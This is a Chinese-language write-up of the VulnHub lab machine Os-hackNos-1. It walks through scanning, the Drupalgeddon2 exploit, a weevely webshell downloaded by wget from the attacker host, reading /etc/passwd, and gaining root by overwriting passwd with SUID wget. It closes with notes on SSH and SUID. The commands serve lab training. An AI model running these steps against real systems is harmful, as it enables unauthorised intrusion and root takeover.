About Os-hackNos
描述
- Difficulty : Easy to Intermediate
- Flag : 2 Flag first user And second root
- Learning : exploit | Web Application | Enumeration | Privilege Escalation
- Website : www.hackNos.com
- mail : contact@hackNos.com
下載地址
Os-hackNos-1.ova (Size: 827 MB)
- Download: https://drive.google.com/open?id=1IOpXibf-A9iSwoG4IW8HdXFvDBFoy7N1
- Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
- Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova.torrent ( Magnet)
屏幕截圖
環境搭建
下載好ova鏡像文件后直接導入Virtual Box中,將USB設備關閉,把網絡鏈接🔗模式改成Host-Only(出於安全原因),官方警告如下:
Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for "protecting yourself and your network. If you understand the risks, please download!
同時,將Kali Linux攻擊機的網絡鏈接模式也改成Host-Only,保證兩台主機處於同一網段下。
信息收集
主機發現
首先查看一下攻擊機Kali Linux的ip地址,從返回結果得到ip地址為:10.0.2.15
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe7c:8e8e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:7c:8e:8e txqueuelen 1000 (Ethernet)
RX packets 262425 bytes 40563341 (38.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 402574 bytes 31287087 (29.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 157 bytes 11287 (11.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 157 bytes 11287 (11.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
然后使用nmap掃描同網段下的存活主機,命令如下:
nmap -sn 10.0.2.0/24
經過掃描,在同網段下還發現了ip地址為10.0.2.4的存活主機,不難推斷就是我們的靶機。
Kali Linux:10.0.2.15
Os-hackNos-1:10.0.2.4
端口掃描
拿到靶機的ip地址之后,使用nmap掃描探測靶機的開放端口,命令如下:
nmap -sV -p- 10.0.2.4
經過端口掃描之后,發現目標主機開放了22和80端口。
目錄掃描
訪問80端口查看,發現80端口運行了http服務,但是沒有其他有價值的利用信息。於是使用dirb對80端口進行目錄掃描,命令如下:
dirb http://10.0.2.4
經過目錄掃描發現了目標主機存在以下目錄/文件:
http://10.0.2.4/index.html
http://10.0.2.4/server-status
http://10.0.2.4/drupal/
http://10.0.2.4/drupal/index.php
http://10.0.2.4/drupal/misc/
http://10.0.2.4/drupal/modules/
http://10.0.2.4/drupal/profiles/
http://10.0.2.4/drupal/robots.txt
http://10.0.2.4/drupal/scripts/
http://10.0.2.4/drupal/sites/
http://10.0.2.4/drupal/themes/
http://10.0.2.4/drupal/web.config
http://10.0.2.4/drupal/xmlrpc.php
訪問一下:http://10.0.2.4/drupal/,發現目標主機運行了drupal服務,然后使用whatweb工具確定一下drupal的版本,大版本號為drupal 7。
漏洞發現
使用Google搜索github上公開的drupal漏洞的相關exp,搜索結果如下:
這里我們使用第二個exp,該exp針對Drupal 8.5或以下版本有效,執行成功后返回一個php的shell。
漏洞利用
獲取exp
首先在github上下載該exp,命令如下:
git clone https://github.com/dreadlocked/Drupalgeddon2.git
在運行該exp前,需要預裝依賴包highline
gem install highline
執行exp
./drupalgeddon2.rb http://10.0.2.4/drupal
可以看到我們成功的獲取到了shell
查看權限和用戶
接下來,我們查看一下當前shell的權限。發現是www-data權限。
hackNos>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
然后查看一下存在的用戶,可以看到除了root和www-data用戶之外還有一個普通權限用戶james
hackNos>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
james:x:1000:1000:james,,,:/home/james:/bin/bash
權限提升
生成木馬
之后,使用weevely生成小馬,然后將小馬上傳至靶機
#kali生成小馬
weevely generate cmd ./xiaoma.php
#kali開啟HTTP服務
python -m SimpleHTTPServer
#上傳小馬至靶機
wget http://10.0.2.15:8000/xiaoma.php
weevely連接小馬
weevely http://10.0.2.4/drupal/xiaoma.php cmd
Get No.1 Flag
之后瀏覽用戶目錄,在/home/james目錄下發現了user.txt,也就是第一個flag
在user.txt中,最后有一串MD5-HASH字符串,猜測可能是什么密碼,解密一下,失敗。
bae11ce4f67af91fa58576c1da2aad4b
瀏覽網站目錄
然后瀏覽一下網站目錄,在/var/www/html目錄下發現了一個alexander.txt文件,查看一下發現了一串base64編碼,解密后得到brainfuck加密后的字符串,然后再進行brainfuck解密拿到密碼。
james:Hacker@4514
切換用戶
拿到james的密碼后嘗試切換用戶,但是沒有tty終端和密碼請求程序,不能切換用戶。
www-data@hackNos:/var/www/html $ su james
su: must be run from a terminal
www-data@hackNos:/var/www/html $ sudo su
sudo: no tty present and no askpass program specified
SUID提權
既然不能切換用戶,我們就提個權看看吧。首先檢查一下哪些命令有suid權限,有suid權限的命令可以以文件擁有者的權限執行。
www-data@hackNos:/var/www/html $ audit_suidsgid -only-suid /
+---------------------------------------------+
| /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
| /usr/lib/openssh/ssh-keysign |
| /usr/lib/i386-linux-gnu/lxc/lxc-user-nic |
| /usr/lib/eject/dmcrypt-get-device |
| /usr/lib/snapd/snap-confine |
| /usr/lib/policykit-1/polkit-agent-helper-1 |
| /usr/bin/pkexec |
| /usr/bin/at |
| /usr/bin/newgidmap |
| /usr/bin/gpasswd |
| /usr/bin/sudo |
| /usr/bin/newgrp |
| /usr/bin/newuidmap |
| /usr/bin/wget |
| /usr/bin/passwd |
| /usr/bin/chsh |
| /usr/bin/chfn |
| /bin/ping6 |
| /bin/umount |
| /bin/ntfs-3g |
| /bin/mount |
| /bin/ping |
| /bin/su |
| /bin/fusermount |
+---------------------------------------------+
或者使用下面的命令查找既為root用戶,也擁有SUID權限的程序;
find / -user root -perm -4000 -print 2>/dev/null
經過上面的查詢,我們發現wget命令可以用普通用戶以root權限執行,那么我們就可以利用它修改passwd文件,加入root權限用戶。
生成密碼哈希
www-data@hackNos:/var/www/html $ openssl passwd -1 -salt salt test
$1$salt$No6gqynaE4urT3jScs91F/
下載passwd文件
file_download passwd /root/passwd
寫入特權用戶
echo 'test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash' >> passwd
替換passwd文件
使用wget -O命令替代靶機原來的passwd文件(suid提權意義所在)
wget http://10.0.2.15:8000/passwd -O passwd
查看一下是否存在寫入的test用戶
www-data@hackNos:/etc $ tail -1 passwd
test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash
切換用戶
www-data@hackNos:/etc $ su test
su: must be run from a terminal
哦吼,難頂。這里需要一個標准shell,因為PHPshell無法執行交互行為,使用su命令會請求密碼輸入(askpass)
這里直接使用meterpreter即可。
meterpreter
root@kali:~# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.0.2.4
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
然后使用python獲取標准shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Get No.2 Flag
獲取標准shell之后,切換test用戶,即為root權限。然后在/root目錄下發現了root.txt,即為第二個flag,至此整個實驗完成。
總結
SSH 認證過程
簡要過程如下
- Client端向Server端發起SSH連接請求。
- Server端向Client端發起版本協商。
- 協商結束后Server端發送Host Key公鑰 Server Key公鑰,隨機數等信息。到這里所有通信是不加密的。
- Client端返回確認信息,同時附帶用公鑰加密過的一個隨機數,用於雙方計算Session Key。
- 進入認證階段。從此以后所有通信均加密。
- 認證成功后,進入交互階段。
Linux 特殊權限 SUID
SUID
當 s 出現在文件擁有者的 x 權限上時,就被稱為 SETUID BITS 或 SETUID ,其特點如下:
- SUID 權限僅對二進制可執行文件有效
- 如果執行者對於該二進制可執行文件具有 x 的權限,執行者將具有該文件的所有者的權限
- 本權限僅在執行該二進制可執行文件的過程中有效
我們來看 tester 用戶是如何利用 SUID 權限完成密碼修改的:
- test 用戶對於 /usr/bin/passwd 這個程序具有執行權限,因此可以執行 passwd 程序
- passwd 程序的所有者為 root
- test 用戶執行 passwd 程序的過程中會暫時獲得 root 權限
- 因此 test 用戶在執行 passwd 程序的過程中可以修改 /etc/shadow 文件
但是如果由 test 用戶執行 cat 命令去讀取 /etc/shadow 文件確是不行的,原因很清楚,test 用戶沒有讀 /etc/shadow 文件的權限,同時 cat 程序也沒有被設置 SUID。